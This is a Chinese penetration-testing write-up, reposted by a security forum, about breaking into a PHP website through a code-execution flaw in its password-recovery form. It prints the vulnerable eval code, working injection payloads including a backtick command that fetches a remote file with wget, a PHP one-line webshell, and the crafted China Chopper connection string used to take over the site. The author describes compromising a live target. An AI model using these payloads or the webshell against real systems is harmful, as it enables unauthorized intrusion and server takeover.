0×1:信息收集
curl header的获取 旁站的获取
根据小编的渗透经验大家可以用来参考;
header获取 如图:
这里是centos 安装 curl yum install curl 自动安装 完成好 使用 curl -I url 命令对服务器信息进行初探
在此可看到 web应用服务 架构是 ubuntu php apache 从cookie信息已经可以肯定web的程序是php
ip反查:
www.biying.cn ip:www.91ri.org(IP)
因考虑客户的安全防止破坏 在此以我们论坛的ip为例
如图:
端口收集 可以使用nmap工具等工具进行扫描,在此省略。
0×2:漏洞发现
漏洞扫描 ,大家使用wvs burpsuite等 假如网站不大 内容比较少且为php的是时候 我建议大家使用wvs 是一个不错的选择 。在多次的扫描中 我们发现在会员的取回密码处发现一代码执行漏洞。根据小编的习惯 对于截包发包工具 小编多使用burpsuie,因为burpsuite在所有工具中较为出色,打开ie设置代理 成功截包如图
修改包进行测试 可以看到一串cmd5值
已经确定是真实存在代码执行。这是可以使用
1
|
${@{print `id`}} ${@{print `wget -O test.pho http://www.91ri.org/ xx.txt`}}这里注意不是双引号是 “是反引号。
|
进行各种命令操作 。遗憾的是本次测试虽然命令都可以成功执行 但是创建 修改 上传 webshell均失败 经过多次测试都未能如愿突破。
0×3:菜刀突破
细看漏洞的形成
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
//校验用户输入的数据
function validate()
{
$arrErrorMsg = array(); //提示信息
$errorMsgNo = 0; //提示信息编号
$isize = count($this->arrCheckData)/4; //校验条数
//依次校验数据
for ($i=0; $i < $isize; $i++)
{
$fieldId = $this->arrCheckData[$i*4]; //表单字段Id
$fields = explode(“,”, $this->arrCheckData[$i*4+1]); //相关表单字段Id
$method = $this->arrCheckData[$i*4+2]; //校验方法
$msg = $this->arrCheckData[$i*4+3]; //校验失败的提示
$fieldsNum = count($fields)-1; //相关表单字段数量
for ($j=$fieldsNum; $j >= 0; $j–)
{
$field = $fields[$j]; //相关表单字段
$rdata = “data”;
if($j>0)
{
$rdata .= $j;
}
$method = str_replace($rdata,“”” . addslashes($_REQUEST[$field]) . ““”,$method);
}
if (substr($method, 0, 1) == “!”)
{
$method = substr($method, 1);
eval(“$b = !$this->$method;”);
}
else
{
eval(“$b = $this->$method;”);
}
|
此漏洞的形成是 eval 造成的 是从表单里面 获取值 然后使用addslashes进行过滤,可惜的是 根本没起到过滤作用 造成了漏洞的形成,代码执行时可以直接写shell的 但是用菜刀更为方便 于是在本地写了一段代码进行测试。
0×4 本地测试
1
2
3
4
5
6
7
|
&nbsp;&nbsp;&nbsp;&nbsp;
<?php
error_reporting(E_ALL & ~E_NOTICE);
$str=“fuck you webshell $_POST[cmd]“;
eval(“$str = “$str“;”);
?>
|
可以看到成功执行代码。
0×5 菜刀连接分析
一般我们使用我们的一句话木马是这样写的 所以可以直接使用菜刀直接连接 但是我们这里的场景是 一个post提交里面要
1
|
<?php @eval($_POST[cmd]);?>
|
再包含一个post或者get 菜刀也考虑到这一点 不得不说菜刀一款强大的网站管理工具,从菜刀的手册里面可以到看到
1
2
3
4
5
6
7
8
9
10
11
12
|
B) 其它方面:
––––––––––––––––––––––––––––––––––––––-
添加额外附加提交的数据,如ASP的新服务端是这样的:
<%
Set o = Server.CreateObject(“ScriptControl”)
o.language = “vbscript”
o.addcode(Request(“SC”))
o.run “ff”,Server,Response,Request,Application,Session,Error
%>
那么,菜刀在配置处填入:
<O>SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request(“pass”)):end+function</O>
然后以密码pass来连接即可。
|
使用<o></o>构造数据包:
经过多次测试 再后得出的值是这样的的 如图:
1
|
cmd=${@eval($_POST[moon])};moon=${@phpinfo()}
|
那菜刀的连接 如图:
成功渗透目标网站:
0×5 总结
此次本次渗透共花了小编两天时间,从发现到突破并不是一路顺风的、多多少少会有阻挠。
再后一句:令学活用已有的知识很重要。
91ri.org:会点编码能力很重要,只知道拿着网上的程序到处攻击人家网站没什么意思,burpsuite是个神器,推荐几篇相关文章给大家:《使用BurpSuite来进行sql注入》《用Burp_suite快速处理上传截断》祝学的愉快:)
link:http://www.moonhack.org/post-135.html
顺便补充一句:作者同学如果看到这篇文章要注意下:你网站的文章中大部分的burpsuite都写成了burpsuie,不晓得是手误还是…
本文由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理,转载请注明出处。
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号